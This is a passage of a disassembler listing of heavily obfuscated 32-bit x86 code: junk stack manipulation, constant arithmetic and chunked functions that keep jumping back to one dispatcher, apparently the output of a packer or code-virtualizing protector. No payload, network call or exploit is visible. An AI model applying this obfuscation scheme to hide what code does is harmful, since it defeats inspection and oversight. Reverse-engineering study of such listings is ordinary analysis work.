ebp push esp push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 jmp loc_591CCA ; --------------------------------------------------------------------------- loc_5918EA: ; CODE XREF: sdfs____:0059333Fj push dword ptr [esp] pop edx add esp, 4 jmp loc_596D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D9A7 loc_5918F6: ; CODE XREF: sub_58D9A7+258Aj add esp, 4 add eax, 4 jmp loc_5939D3 ; END OF FUNCTION CHUNK FOR sub_58D9A7 ; --------------------------------------------------------------------------- loc_591906: ; CODE XREF: sdfs____:00597954j add ecx, edi add ecx, 2E7B180Ch push edx jmp loc_58C186 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591914: ; CODE XREF: sub_594228-4462j xor [esp+22h+var_24+2], esi xor esi, [esp+22h+var_24+2] mov esp, [esp+22h+var_24+2] cmp cx, ax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_591926: ; CODE XREF: sub_59841F:loc_5906C3j add ecx, 0E44EF5A4h add esi, ecx pop ecx jmp loc_592D87 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_591934: ; CODE XREF: sdfs____:005984E0j mov ebp, 35836421h add ebp, 4ABF407Eh sub ebp, 1B4110D0h jmp loc_58E43E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_59194A: ; CODE XREF: sub_5929B9+3j ; sub_5BB696-26165j mov [esp+1Ch+var_1C], ebx jmp loc_590BE1 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591952: ; CODE XREF: sub_591435+1A9Fj sub ch, 0B4h add ch, 8 sub bl, ch pop ecx add bl, al push cx push edx mov dh, 0F4h shl dh, 4 jp loc_5910A9 shr dh, 5 jp sub_58D925 jmp loc_58FEFB ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebx add ebx, 4 push 482Ah mov [esp], edx sub esp, 4 mov [esp], ebp mov ebp, 2 mov edx, ebp jmp loc_58DF13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_5919BA: ; CODE XREF: sub_59587A+12BBj xchg ecx, [esp+2+var_4+2] not ecx xchg ecx, [esp+2+var_4+2] mov ebp, [esp+2+var_4+2] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+6+var_8+2] pop esp add ebp, 992106B9h add edx, 16F22969h sub edx, ebp sub edx, 16F22969h mov ebp, [esp+2+var_4+2] add esp, 4 jmp loc_58D89A ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_5919FA: ; CODE XREF: sub_5987BC+1C8j sub esi, 0F879A143h jmp loc_590F8D ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_591A05: ; CODE XREF: sdfs____:00590BD4j mov esi, [esp] add esp, 4 and esi, 3F4632Bh jnz loc_58D231 xor esi, 210A420Ch mov ebp, esi pop esi mov ecx, edi pop edx ; START OF FUNCTION CHUNK FOR sub_5985AE loc_591A26: ; CODE XREF: sub_5985AE-2EE2j sub [esp+4], esi jmp loc_596EE2 ; --------------------------------------------------------------------------- loc_591A2F: ; CODE XREF: sub_5985AE-A6E5j add ebx, ebp pop ebp xor ecx, ebx mov ebx, [esp-8+arg_4] push ebx mov ebx, esp push esi jmp loc_5981AD ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_591A40: ; CODE XREF: sdfs____:00590839j push eax jmp loc_590456 ; =============== S U B R O U T I N E ======================================= sub_591A46 proc near ; CODE XREF: sub_591370+317Cj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], eax mov eax, 1A536FAEh jmp loc_58C3FE sub_591A46 endp ; --------------------------------------------------------------------------- loc_591A59: ; CODE XREF: sdfs____:0058FD2Fj add ecx, 218B457Bh or ecx, 256F57AEh jmp loc_591BEB ; --------------------------------------------------------------------------- loc_591A6A: ; CODE XREF: sdfs____:00591202j push edx push ebx mov ebx, eax mov edx, ebx pop ebx push 64E3h mov [esp], edx mov ebx, [esp] push ebx mov ebx, esp push edx jmp loc_597558 ; --------------------------------------------------------------------------- loc_591A85: ; CODE XREF: sdfs____:005971C9j mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], ecx jmp loc_59800C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_591A98: ; CODE XREF: sub_5987BC+500j push small 62A0h mov word ptr [esp+0Ah+var_C+2], ax jmp loc_58D32E ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_591AA5: ; CODE XREF: sdfs____:0059522Cj add al, 4Eh sub al, 77h add al, cl add al, 77h push edx jmp loc_597A3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591AB3: ; CODE XREF: sub_591435-318Ej pop esp and eax, ebp push [esp+8+var_8] pop ebp sub esp, 4 mov [esp+0Ch+var_C], ebx push esp pop ebx jmp loc_593910 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_591AC7: ; CODE XREF: sdfs____:0058E175j mov dh, 0A1h sub dh, 17h add al, dh mov edx, [esp] push ebx mov ebx, esp jmp loc_58C027 ; =============== S U B R O U T I N E ======================================= sub_591AD9 proc near ; CODE XREF: sub_59841F-BDE8j ; sub_595678+1BDEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0058D5B9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E65B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058F486 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00591652 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00592EF8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00594D71 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005959A2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00595AC4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00597AAD SIZE 0000000F BYTES push ebp mov ebp, 47915E51h or eax, ebp pop ebp jmp loc_591652 sub_591AD9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591AE7: ; CODE XREF: sub_594228-462Fj push edi mov edx, [esp+16h+var_18+2] add esp, 4 pop edi add eax, edx push [esp+0Eh+var_10+2] pop edx add esp, 4 jmp loc_58C754 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_591B00: ; CODE XREF: sdfs____:0058D9CCj push dword ptr [esp] jmp loc_591BCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_591B08: ; CODE XREF: sub_5985AE-87Fj add esp, 4 push 2DC3h mov [esp+0], eax jmp loc_590B1C ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_591B1B: ; CODE XREF: sub_5987BC-A36j sub ah, 0FEh add ah, 5 jmp loc_58F7EA ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_591B26: ; CODE XREF: sdfs____:005925D5j push edi mov edi, 3D333F76h jmp loc_595EFC ; --------------------------------------------------------------------------- loc_591B31: ; CODE XREF: sdfs____:0058C846j mov edx, 2 mov ebx, edx jmp loc_5966FB ; --------------------------------------------------------------------------- loc_591B3D: ; CODE XREF: sdfs____:00596F3Bj xor esi, 299349ACh not esi neg esi xor esi, 64A649Dh jmp loc_58F8AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591B52: ; CODE XREF: sub_591435-22AAj or edx, eax shl edx, 1 jmp sub_58EC13 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_591B5B: ; CODE XREF: sdfs____:00593F2Ej push ebx mov ebx, esp push edi push esi jmp loc_590A9D ; --------------------------------------------------------------------------- loc_591B65: ; CODE XREF: sdfs____:0059164Dj add esi, 5A885C0Fh add esi, 140C33CBh jmp loc_594C77 ; --------------------------------------------------------------------------- loc_591B76: ; CODE XREF: sdfs____:0059765Ej neg ecx jmp loc_59679C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_591B7D: ; CODE XREF: sub_5985AE-3752j mov edi, 509E494Ah sub [esp+arg_8], edi jmp loc_591F03 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_591B8B: ; CODE XREF: sdfs____:0058F16Ej add ebp, 53A631E4h jmp loc_58E1D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_591B96: ; CODE XREF: sub_591370+5063j sub ch, 0A6h xor al, ch jmp loc_58FCCB ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_591BA0: ; CODE XREF: sdfs____:0058BEB4j ; sdfs____:0059053Ej add edi, 686E060Eh add edi, ebx jmp loc_596C03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_591BAD: ; CODE XREF: sub_596736+7j mov [esp+8+var_8], esp add [esp+8+var_8], 4 push [esp+8+var_8] jmp loc_595014 ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_591BBF: ; CODE XREF: sub_59841F-C972j pop eax jmp loc_58FE34 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_591BC5: ; CODE XREF: sdfs____:00590653j mov ebp, 4 jmp loc_58EFC9 ; --------------------------------------------------------------------------- loc_591BCF: ; CODE XREF: sdfs____:00591B03j mov ebx, [esp] add esp, 4 add esp, 4 xor edi, [esp] jmp loc_594FB3 ; --------------------------------------------------------------------------- loc_591BE6: ; CODE XREF: sdfs____:00594452j jmp loc_58ED1C ; --------------------------------------------------------------------------- loc_591BEB: ; CODE XREF: sdfs____:00591A65j or ecx, 198D30CEh shr ecx, 5 and ecx, 55F3B52h sub ecx, 55F3B0Eh jmp loc_58E876 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591C05: ; CODE XREF: sub_591435-429j xor ebp, 4CAF2A0Dh sub ebp, 4DE84233h jmp loc_5959C8 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_591C16: ; CODE XREF: sub_5962EB-66Fj mov esp, [esp+4+var_4] mov [esp+4+var_4], ebx mov ebx, 42B744C2h xor ebx, 200C4FBAh jmp loc_59032A ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_591C2C: ; CODE XREF: sub_58EB23-1F5Dj add esp, 4 jmp loc_59096C ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- loc_591C34: ; CODE XREF: sdfs____:loc_594B8Cj sub ebx, 9F073A6Bh mov esi, ebx pop ebx jmp loc_58C4D5 ; --------------------------------------------------------------------------- loc_591C42: ; CODE XREF: sdfs____:00593949j add bh, dl pop edx push eax mov ah, 2Ch add bh, 34h jmp loc_58E6A7 ; --------------------------------------------------------------------------- loc_591C50: ; CODE XREF: sdfs____:00597DAEj push 25C8h mov [esp], esp jmp loc_593098 ; --------------------------------------------------------------------------- loc_591C5D: ; CODE XREF: sdfs____:005915F4j push ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_591C65: ; CODE XREF: sdfs____:00592477j pop ecx add eax, 3720988h push esi push ebp jmp loc_594846 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591C72: ; CODE XREF: sub_594228+14j pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+12h+var_14+2] jmp loc_596AE9 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_591C87: ; CODE XREF: sdfs____:0058EF11j sub al, 69h sub al, bh add al, 69h jmp loc_58E168 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax sub esp, 4 jmp loc_590392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_591C9E: ; CODE XREF: sub_5BB696-2B485j mov eax, esp add eax, 4 jmp loc_594CBD ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_591CAA: ; CODE XREF: sub_5941BD-14DAj push edx mov edx, 5D2669ADh add ecx, edx jmp loc_58CD5C ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_591CB7: ; CODE XREF: sdfs____:0058CF06j push ebp jmp loc_58C1FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591CBD: ; CODE XREF: sdfs____:00593642j ; sub_594228+183Dj not ecx jmp loc_593E37 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_591CC4: ; CODE XREF: sub_5917C0+2DCEj pop eax jmp loc_58F8BC ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_591CCA: ; CODE XREF: sdfs____:005918E5j push 3741h jmp loc_597E22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_591CD4: ; CODE XREF: sub_5941BD-1DEj ; sub_5985AE-2460j mov ebx, [esp+0] add esp, 4 jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_591CDF: ; CODE XREF: sdfs____:0058E977j pop ecx push 0CAEh mov [esp], edi jmp loc_595350 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EC6C loc_591CED: ; CODE XREF: sub_58EC6C+3E6Bj add esp, 4 add ebx, ebp pop ebp xor ebx, [esp+0] xor [esp+0], ebx jmp loc_597E3F ; END OF FUNCTION CHUNK FOR sub_58EC6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591CFE: ; CODE XREF: sub_591435+4A29j mov ebx, 0CCA4DDADh add ebp, ebx pop ebx jmp loc_58C087 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA0A loc_591D0B: ; CODE XREF: sub_58FA0A+1D14j ; sub_591370+23B2j pop ebx add edx, 5451326Eh add edx, ecx push eax mov eax, 5451326Eh jmp loc_59016D ; END OF FUNCTION CHUNK FOR sub_58FA0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590561 loc_591D1F: ; CODE XREF: sub_590561+272j pop edx or si, cx jmp loc_594D10 ; END OF FUNCTION CHUNK FOR sub_590561 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_591D28: ; CODE XREF: sub_591370+D31j ; sdfs____:005953A4j shr eax, 4 shl eax, 5 shr eax, 8 push ebx mov ebx, 6A0B5936h and eax, ebx pop ebx push ebx mov ebx, 0FFFCB7EEh add eax, ebx push [esp-8+arg_4] pop ebx add esp, 4 add edi, eax pop eax sub edi, 2 xor edi, [esp-10h+arg_C] xor [esp-10h+arg_C], edi xor edi, [esp-10h+arg_C] pop esp mov word ptr [esp-14h+arg_10], ax jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591D65: ; CODE XREF: sub_591435-2658j mov [esp+14h+var_14], eax push esp pop eax add eax, 4 add eax, 4 xor eax, [esp+14h+var_14] xor [esp+14h+var_14], eax xor eax, [esp+14h+var_14] jmp loc_59166D ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_591D80: ; CODE XREF: sdfs____:00590986j sub eax, 326107F6h push esi mov esi, 4F666745h inc esi add esi, 50837F77h xor esi, 591C3939h jmp loc_58DABD ; --------------------------------------------------------------------------- loc_591D9D: ; CODE XREF: sdfs____:0058CE97j add eax, 4F40EDB2h mov ebx, eax pop eax sub ebx, esi pop esi add edx, 11680CA5h add edx, 40F0350Bh jmp loc_58D94B ; --------------------------------------------------------------------------- loc_591DB9: ; CODE XREF: sdfs____:0058F56Ej sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx push eax jmp loc_5973C8 ; --------------------------------------------------------------------------- loc_591DC9: ; CODE XREF: sdfs____:0059885Aj push 6D34h mov [esp], ecx push edx push ecx jmp loc_593AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_591DD8: ; CODE XREF: sub_59377D-527Aj mov esi, 44A2841h add [esp+0Ch+var_8], esi jmp loc_58FDF1 ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- loc_591DE6: ; CODE XREF: sdfs____:00594477j mov [esp], edi mov edi, 662D57D0h add edi, 99D2A834h sub ecx, edi pop edi push 2D04h mov [esp], ecx push dword ptr [esp+4] jmp loc_58CAF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_591E08: ; CODE XREF: sub_598A21-A767j not ebp jmp loc_58BD05 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- loc_591E0F: ; CODE XREF: sdfs____:00594F6Cj pop eax inc ebp xor ebp, 201C0982h add edi, ebp pop ebp jmp loc_5901D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_591E1F: ; CODE XREF: sub_5962EB+2A7Aj xor eax, esi jmp loc_592864 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_591E26: ; CODE XREF: sdfs____:00596775j add esp, 4 jmp loc_58D667 ; --------------------------------------------------------------------------- loc_591E31: ; CODE XREF: sdfs____:0058E64Fj xchg eax, [esp] jmp loc_591689 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591E39: ; CODE XREF: sub_591435-3FE8j neg eax jmp loc_59823E ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_591E40: ; CODE XREF: sdfs____:0058C1EFj add eax, edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add eax, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov eax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_593EC2 ; --------------------------------------------------------------------------- loc_591E89: ; CODE XREF: sdfs____:00591068j mov ebx, 4 add ecx, ebx pop ebx push eax mov eax, 4 add ecx, 22CC0ED8h jmp loc_58ED81 ; --------------------------------------------------------------------------- loc_591EA2: ; CODE XREF: sdfs____:00597FC3j add esp, 4 push esi mov esi, 4 add eax, 6BC36928h sub eax, esi sub eax, 6BC36928h push dword ptr [esp] pop esi push ebp mov ebp, esp add ebp, 4 jmp loc_598899 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_591ECC: ; CODE XREF: sub_5962EB-611j push ecx xchg edx, [esp+8+var_8] xchg ebp, edx push ebp not dword ptr [esp+0] pop ebp xchg ebp, edx xchg edx, [esp+8+var_8] pop ecx push 4BC7h mov [esp+8+var_8], ecx push [esp+8+var_4] jmp loc_595609 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_591EEE: ; CODE XREF: sdfs____:005946C9j mov bh, 12h sub al, bh jmp loc_594827 ; --------------------------------------------------------------------------- loc_591EF7: ; CODE XREF: sdfs____:0058F012j movsx cx, al sub esp, 4 jmp loc_590834 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_591F03: ; CODE XREF: sub_5985AE-6A28j pop edi jmp loc_58D3EA ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_591F09: ; CODE XREF: sdfs____:0058F3AAj push eax jmp loc_5960FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591F0F: ; CODE XREF: sub_594228-49E8j ; sub_5962EB-3EBAj pop esi jmp loc_595CFD ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591F1D: ; CODE XREF: sub_594228+1C2Bj pop esi pop [esp-12h+arg_E] pop esp jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_591F2E: ; CODE XREF: sdfs____:00597269j push edi mov edi, esp push eax jmp loc_594E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_591F37: ; CODE XREF: sub_5917C0-BE4j add esp, 4 add eax, 1FC90675h sub eax, ebx sub eax, 1FC90675h push edi push ebx mov ebx, 2E8E2934h mov edi, ebx pop ebx push edi jmp loc_58DFC4 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_591F59: ; CODE XREF: sdfs____:0059278Ej add eax, 3D1D24DDh sub eax, 6128440Fh jmp loc_593D2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_591F68: ; CODE XREF: sub_591370+45EAj mov esi, 0 jmp loc_58BF1E ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591F72: ; CODE XREF: sub_594228-76BBj movzx ecx, al push 45B7h mov [esp+22h+var_24+2], ecx jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_591F82: ; CODE XREF: sdfs____:00596EACj pop ecx push ebx mov ebx, 399C1C48h jmp loc_598AD3 ; --------------------------------------------------------------------------- loc_591F8E: ; CODE XREF: sdfs____:0058EB43j add esp, 4 xor edi, 0FB7D0004h add esi, edi pop edi push ebp mov ebp, 5DD578F9h xor ebp, 5DD578FBh add esi, ebp pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov ax, [esp] push ebx sub esp, 4 mov [esp], esp jmp loc_594867 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591FCB: ; CODE XREF: sdfs____:0058D1C6j ; sub_591435+6E6Bj add [esp+8+var_8], 4 pop esi push ebx jmp loc_595437 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_591FD9: ; CODE XREF: sub_58BDAA+25ABj ; sub_5962EB-2BE0j push edx mov edx, 16D44970h jmp loc_58CCC2 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_591FE4: ; CODE XREF: sub_5985AE-BD5Dj xor edi, 7DBB6A95h mov ebp, edi jmp loc_594E5A ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_591FF1: ; CODE XREF: sub_5962EB+4F3j mov edx, 7C9632F5h jmp loc_594A5D ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_591FFB: ; CODE XREF: sub_591370+27DCj sub ebx, ebp mov ebp, [esp-10h+arg_C] add esp, 4 push ebp jmp loc_5931AA ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- push dword ptr [esp+4] mov eax, [esp] push 113Ah mov [esp], edx push esp pop edx add edx, 4 push ebx mov ebx, 4 add edx, ebx mov ebx, [esp] jmp loc_590448 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_592033: ; CODE XREF: sdfs____:00593006j ; sub_594228+40A6j pop esi add ebx, edx pop edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+1Eh+var_20+2] pop esp mov [esp+1Ah+var_1C+2], edx mov edx, 4 sub ebx, 614D33B2h jmp loc_58EE08 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59205D: ; CODE XREF: sub_591435-12E0j ; sdfs____:005903C0j xor [esp+16h+var_18+2], edx xor edx, [esp+16h+var_18+2] mov esp, [esp+16h+var_18+2] push edx mov dh, 0F9h dec dh and dh, 1 xor dh, 0CCh sub bl, dh pop edx add bl, al jmp loc_592EC0 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_591168 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_592095: ; CODE XREF: sub_591370-1681j pop ebp or edx, eax shl edx, 1 jmp loc_58E5FC ; --------------------------------------------------------------------------- loc_59209F: ; CODE XREF: sdfs____:0058C70Bj ; sub_591370+7152j not dl jmp loc_591D28 ; END OF FUNCTION CHUNK FOR sub_591370 ; =============== S U B R O U T I N E ======================================= sub_5920A6 proc near ; CODE XREF: sub_594228-7F11j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0058F52D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00593698 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00596362 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005975DE SIZE 00000018 BYTES push ebx jmp loc_596362 sub_5920A6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5920AC: ; CODE XREF: sdfs____:00592F9Ej add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_594569 ; --------------------------------------------------------------------------- loc_5920BD: ; CODE XREF: sdfs____:0058E62Fj add eax, 4 add eax, 4 xor eax, [esp] jmp loc_593310 ; --------------------------------------------------------------------------- loc_5920CD: ; CODE XREF: sdfs____:0059546Aj pop edx dec edx jz loc_58F976 xor edx, 720E5BC8h mov ebx, edx mov edx, [esp] add esp, 4 add ebp, ebx pop ebx push edx mov edx, 2 sub ebp, 3BD321A4h add ebp, edx add ebp, 3BD321A4h jmp loc_58E508 ; --------------------------------------------------------------------------- loc_592102: ; CODE XREF: sdfs____:0059694Cj neg ecx jmp loc_58F414 ; --------------------------------------------------------------------------- loc_592109: ; CODE XREF: sdfs____:005960AEj add ebp, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_59297C ; --------------------------------------------------------------------------- loc_592117: ; CODE XREF: sdfs____:00595CACj dec word ptr [esp] pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_592121: ; CODE XREF: sdfs____:005984BBj pop edx sub eax, 72B405AFh add eax, edi add eax, 72B405AFh jmp loc_58C13E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_592133: ; CODE XREF: sub_58EB23+A297j push ecx mov ch, 0Ch sub ch, 2Ch js loc_5959B0 xor ch, 63h xor ch, 0B0h jge loc_58BAB2 add al, 0FEh pop ebp ; END OF FUNCTION CHUNK FOR sub_58EB23 ; =============== S U B R O U T I N E ======================================= sub_59214E proc near ; CODE XREF: sub_5917C0-2A60j ; sdfs____:0059401Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_14 = dword ptr 18h ; FUNCTION CHUNK AT 0058BCF7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058C321 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058C613 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058CA3C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058CDD9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058D333 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058D375 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058DB1C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058DB70 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058DDEC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058E4A3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00592232 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059295F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005938DB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00593D61 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00595C55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00596869 SIZE 00000010 BYTES sub esp, 4 jmp loc_593D61 sub_59214E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_592159: ; CODE XREF: sub_591370-2DE3j mov al, 0E1h shl al, 3 jmp loc_598018 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION 